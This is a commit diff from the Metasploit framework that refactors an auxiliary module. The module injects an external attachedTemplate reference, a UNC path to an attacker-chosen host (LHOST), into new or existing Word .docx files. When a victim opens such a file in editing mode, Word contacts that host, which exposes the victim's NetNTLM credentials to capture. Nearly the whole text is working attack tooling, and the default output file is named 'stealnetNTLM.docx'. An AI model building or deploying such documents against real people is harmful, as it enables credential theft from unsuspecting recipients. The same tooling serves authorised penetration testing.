Using snake_case, fixed using tmp files, changed errorhandling

bug/bundler_fix
SphaZ 2013-02-05 12:00:04 +01:00
parent fa1811ac38
commit 0f46ed72e1
1 changed files with 126 additions and 200 deletions

View File

@ -22,7 +22,7 @@ class Metasploit3 < Msf::Auxiliary
If emailed the receiver needs to put the document in editing mode If emailed the receiver needs to put the document in editing mode
before the remote server will be contacted. Preview and read-only before the remote server will be contacted. Preview and read-only
mode do not work. Verified to work with Microsoft Word 2003, mode do not work. Verified to work with Microsoft Word 2003,
2007 and 2010 as of Januari 2013 date by using auxiliary/server/capture/smb 2007 and 2010 as of January 2013 date by using auxiliary/server/capture/smb
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'References' => 'References' =>
@ -40,252 +40,178 @@ class Metasploit3 < Msf::Auxiliary
OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.','']), OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.','']),
OptPath.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document', '']), OptPath.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document', '']),
OptString.new('FILENAME', [true, 'Document output filename.', 'stealnetNTLM.docx']), OptString.new('FILENAME', [true, 'Document output filename.', 'stealnetNTLM.docx']),
OptString.new('DOCAUTHOR',[false,'Document author for empty document.', 'SphaZ']), OptString.new('DOCAUTHOR',[false,'Document author for empty document.', '']),
], self.class) ], self.class)
end end
#here we create an empty .docx file with the UNC path. Only done when FILENAME is empty #here we create an empty .docx file with the UNC path. Only done when FILENAME is empty
def makeNewFile def make_new_file
metadataFileData = "" metadata_file_data = ""
metadataFileData << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><cp:coreProperties" metadata_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><cp:coreProperties"
metadataFileData << " xmlns:cp=\"http://schemas.openxmlformats.org/package/2006/metadata/core-properties\" " metadata_file_data << " xmlns:cp=\"http://schemas.openxmlformats.org/package/2006/metadata/core-properties\" "
metadataFileData << "xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:dcterms=\"http://purl.org/dc/terms/\" " metadata_file_data << "xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:dcterms=\"http://purl.org/dc/terms/\" "
metadataFileData << "xmlns:dcmitype=\"http://purl.org/dc/dcmitype/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">" metadata_file_data << "xmlns:dcmitype=\"http://purl.org/dc/dcmitype/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">"
metadataFileData << "<dc:creator>#{datastore['DOCAUTHOR']}</dc:creator><cp:lastModifiedBy>#{datastore['DOCAUTHOR']}" metadata_file_data << "<dc:creator>#{datastore['DOCAUTHOR']}</dc:creator><cp:lastModifiedBy>#{datastore['DOCAUTHOR']}"
metadataFileData << "</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type=\"dcterms:W3CDTF\">" metadata_file_data << "</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type=\"dcterms:W3CDTF\">"
metadataFileData << "2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type=\"dcterms:W3CDTF\">" metadata_file_data << "2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type=\"dcterms:W3CDTF\">"
metadataFileData << "2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>" metadata_file_data << "2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>"
#where to find the skeleton files required for creating an empty document #where to find the skeleton files required for creating an empty document
dataDir = File.join(Msf::Config.install_root, "data", "exploits", "docx") data_dir = File.join(Msf::Config.install_root, "data", "exploits", "docx")
tmpDir = "#{Dir.tmpdir}/unc_tmp"
#setup temporary directory structure
begin
cleanupTmp(tmpDir)
FileUtils.mkdir_p("#{tmpDir}/docProps/")
FileUtils.mkdir_p("#{tmpDir}/word/_rels/")
rescue
print_error("Error generating temp directory structure.")
return nil
end
#here we store our on-the-fly created files
begin
f = File.open("#{tmpDir}/docProps/core.xml", 'wb')
f.write(metadataFileData)
f.close()
f = File.open("#{tmpDir}/word/_rels/settings.xml.rels", 'wb')
f.write(@relsFileData)
f.close()
rescue
print_error("Cant write to temp file.")
cleanupTmp(tmpDir)
return nil
end
#making the actual docx #making the actual docx
begin docx = Rex::Zip::Archive.new
docx = Rex::Zip::Archive.new #add skeleton files
#add skeleton files vprint_status("Adding skeleton files from #{data_dir}")
vprint_status("Adding skeleton files from #{dataDir}") Dir["#{data_dir}/**/**"].each do |file|
Dir["#{dataDir}/**/**"].each do |file| if not File.directory?(file)
if not File.directory?(file) docx.add_file(file.sub(data_dir,''), File.read(file))
docx.add_file(file.sub(dataDir,''), File.read(file))
end
end end
#add on-the-fly created documents
vprint_status("Adding injected files")
Dir["#{Dir.tmpdir}/unc_tmp/**/**"].each do |file|
if not File.directory?(file)
docx.add_file(file.sub("#{Dir.tmpdir}/unc_tmp/",''), File.read(file))
end
end
#add the otherwise skipped "hidden" file
file = "#{dataDir}/_rels/.rels"
docx.add_file(file.sub(dataDir,''), File.read(file))
file_create(docx.pack)
rescue
print_error("Error creating empty document #{datastore['FILENAME']}")
cleanupTmp(tmpDir)
return nil
end end
#add on-the-fly created documents
cleanupTmp(tmpDir) vprint_status("Adding injected files")
return 0 docx.add_file("docProps/core.xml", metadata_file_data)
docx.add_file("word/_rels/settings.xml.rels", @rels_file_data)
#add the otherwise skipped "hidden" file
file = "#{data_dir}/_rels/.rels"
docx.add_file(file.sub(data_dir,''), File.read(file))
#and lets create the file
file_create(docx.pack)
end end
#cleaning up of temporary files. If it fails we say so, but continue anyway
def cleanupTmp(dir)
begin
FileUtils.rm_rf(dir)
rescue
print_error("Error cleaning up tmp directory structure.")
end
end
#here we inject an UNC path into an existing file, and store the injected file in FILENAME #here we inject an UNC path into an existing file, and store the injected file in FILENAME
def manipulateFile def manipulate_file
#where do we unpack our source file? #where do we unpack our source files
tmpDir = "#{Dir.tmpdir}/#{Time.now.to_i}#{rand(1000)}/" tmp_dir = "#{Dir.tmpdir}/unc#{Time.now.to_i}#{rand(1000)}/"
ref = "<w:attachedTemplate r:id=\"rId1\"/>" ref = "<w:attachedTemplate r:id=\"rId1\"/>"
if File.exists?(datastore['SOURCE']) if not File.exists?(datastore['SOURCE'])
if not File.stat(datastore['SOURCE']).readable?
print_error("Not enough rights to read the file. Aborting.")
return nil
end
#lets extract our docx
if unzipDocx(tmpDir).nil?
return nil
end
fileContent = File.read("#{tmpDir}/word/settings.xml")
if not fileContent.index("w:attachedTemplate r:id=\"rId1\"").nil?
vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)")
#we put just our rels file into the docx
if updateDocxFile(tmpDir,"word/_rels/settings.xml.rels", @relsFileData).nil?
return nil
end
# lets zip the end result
if zipDocx(tmpDir).nil?
return nil
end
else
#now insert the reference to the file that will enable our malicious entry
insertOne = fileContent.index("<w:defaultTabStop")
if insertOne.nil?
insertTwo = fileContent.index("<w:hyphenationZone") # 2nd choice
if not insertTwo.nil?
vprint_status("HypenationZone found, we use this for insertion.")
fileContent.insert(insertTwo, ref )
end
else
vprint_status("DefaultTabStop found, we use this for insertion.")
fileContent.insert(insertOne, ref )
end
if insertOne.nil? && insertTwo.nil?
print_error("Cannot find insert point for reference into settings.xml")
cleanupTmp(tmpDir)
return nil
end
#lets extract our docx
if unzipDocx(tmpDir).nil?
return nil
end
#update the files that contain the injection and reference
if updateDocxFile(tmpDir, "word/settings.xml",fileContent).nil?
print_error("Error inserting data into word/settings.xml")
return nil
end
if updateDocxFile(tmpDir, "word/_rels/settings.xml.rels", @relsFileData).nil?
print_error("Eror inserting data into word/_rels/settings.xml.rels")
return nil
end
#lets zip the file
if zipDocx(tmpDir).nil?
return nil
end
end
else
print_error("File #{datastore['SOURCE']} does not exist.") print_error("File #{datastore['SOURCE']} does not exist.")
return nil return nil
end end
cleanupTmp(tmpDir) if not File.stat(datastore['SOURCE']).readable?
return 0 print_error("Not enough rights to read the file. Aborting.")
return nil
end
#lets extract our docx
if unzip_docx(tmp_dir).nil?
return nil
end
file_content = File.read("#{tmp_dir}/word/settings.xml")
#if we can find the reference, we don't need to add it and can just inject our unc file.
if not file_content.index("w:attachedTemplate r:id=\"rId1\"").nil?
vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)")
update_docx_file(tmp_dir,"word/_rels/settings.xml.rels", @rels_file_data)
# lets zip the end result
zip_docx(tmp_dir)
else
#now insert the reference to the file that will enable our malicious entry
insert_one = file_content.index("<w:defaultTabStop")
if insert_one.nil?
insert_two = file_content.index("<w:hyphenationZone") # 2nd choice
if not insert_two.nil?
vprint_status("HypenationZone found, we use this for insertion.")
file_content.insert(insert_two, ref )
end
else
vprint_status("DefaultTabStop found, we use this for insertion.")
file_content.insert(insert_one, ref )
end
if insert_one.nil? && insert_two.nil?
print_error("Cannot find insert point for reference into settings.xml")
FileUtils.rm_rf(tmp_dir)
return nil
end
#update the files that contain the injection and reference
update_docx_file(tmp_dir, "word/settings.xml",file_content)
update_docx_file(tmp_dir, "word/_rels/settings.xml.rels", @rels_file_data)
#lets zip the file
zip_docx(tmp_dir)
end
return 0
end end
#making the actual docx #making the actual docx
def zipDocx(tmpDir) def zip_docx(tmp_dir)
begin docx = Rex::Zip::Archive.new
docx = Rex::Zip::Archive.new #add skeleton files
#add skeleton files vprint_status("Adding files from #{tmp_dir}")
vprint_status("Adding files from #{tmpDir}") Dir["#{tmp_dir}/**/**"].each do |file|
Dir["#{tmpDir}/**/**"].each do |file| if not File.directory?(file)
if not File.directory?(file) docx.add_file(file.sub(tmp_dir,''), File.read(file))
docx.add_file(file.sub(tmpDir,''), File.read(file))
end
end end
#add the otherwise skipped "hidden" file
file = "#{tmpDir}/_rels/.rels"
docx.add_file(file.sub(tmpDir,''), File.read(file))
file_create(docx.pack)
rescue
print_error("Error creating compressed document #{datastore['FILENAME']}")
cleanupTmp(tmpDir)
return nil
end end
#add the otherwise skipped "hidden" file
file = "#{tmp_dir}/_rels/.rels"
docx.add_file(file.sub(tmp_dir,''), File.read(file))
file_create(docx.pack)
FileUtils.rm_rf(tmp_dir)
end end
#unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way #unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way
def unzipDocx(tmpDir) def unzip_docx(tmp_dir)
#create temoprary directory so we can do some error handling if needed.
begin begin
if not File.directory?(tmpDir) if File.directory?(tmp_dir)
vprint_status("Damn rubyzip cant be relied upon, so we do it the hard way. Extracting #{datastore['SOURCE']}") FileUtils.rm_rf(tmp_dir)
Zip::ZipFile.open(datastore['SOURCE']) do |fileZip| end
fileZip.each do |entry| FileUtils.mkdir_p(tmp_dir)
fpath = File.join(tmpDir, entry.name) rescue
FileUtils.mkdir_p(File.dirname(fpath)) print_error("Error creating/deleting temporary directory #{tmp_dir}, check rights.")
fileZip.extract(entry, fpath) return nil
end end
#unzip the SOURCE document into the tmp_dir
vprint_status("Rubyzip sometimes corrupts the document, so we do it the hard way. Extracting #{datastore['SOURCE']}")
begin
Zip::ZipFile.open(datastore['SOURCE']) do |filezip|
filezip.each do |entry|
fpath = File.join(tmp_dir, entry.name)
FileUtils.mkdir_p(File.dirname(fpath))
filezip.extract(entry, fpath)
end end
end end
rescue rescue Zip::ZipError => e
print_error("There was an error unzipping.") print_error("Error extracting #{datastore['SOURCE']} please verify it is a valid .docx document.")
cleanupTmp(tmpDir)
return nil return nil
end end
return 0 return 0
end end
#used for updating the files inside the docx from a string #used for updating the files inside the docx from a string
def updateDocxFile(tmpDir,fileString, content) def update_docx_file(tmp_dir,file_string, content)
begin archive = File.join(tmp_dir, file_string)
archive = File.join(tmpDir, fileString) vprint_status("We need to look for: #{archive}")
vprint_status("We need to look for: #{archive}") if File.exists?(archive)
if File.exists?(archive) vprint_status("Deleting original file #{archive}")
vprint_status("Deleting original file #{archive}") File.delete(archive)
File.delete(archive)
end
File.open(archive, 'wb+') { |f| f.write(content) }
rescue Exception => ex
print_error("Well, extracting and manipulating the file went wrong :(")
cleanupTmp(tmpDir)
return nil
end end
return 0 File.open(archive, 'wb+') { |f| f.write(content) }
end end
def run def run
#we need this in makeNewFile and manipulateFile #we need this in make_new_file and manipulate_file
@relsFileData = "" @rels_file_data = ""
@relsFileData << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>".chomp @rels_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>".chomp
@relsFileData << "<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">".chomp @rels_file_data << "<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">".chomp
@relsFileData << "<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/".chomp @rels_file_data << "<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/".chomp
@relsFileData << "attachedTemplate\" Target=\"file://\\\\#{datastore['LHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>" @rels_file_data << "attachedTemplate\" Target=\"file://\\\\#{datastore['LHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"
if "#{datastore['SOURCE']}" == "" if "#{datastore['SOURCE']}" == ""
#make an empty file #make an empty file
print_status("Creating empty document") print_status("Creating empty document")
if not makeNewFile.nil? make_new_file
print_good("Success! Empty document #{datastore['FILENAME']} created.")
end
else else
#extract the word/settings.xml and edit in the reference we need #extract the word/settings.xml and edit in the reference we need
print_status("Injecting UNC path into existing document.") print_status("Injecting UNC path into existing document.")
if not manipulateFile.nil? if not manipulate_file.nil?
print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.") print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.")
end end
end end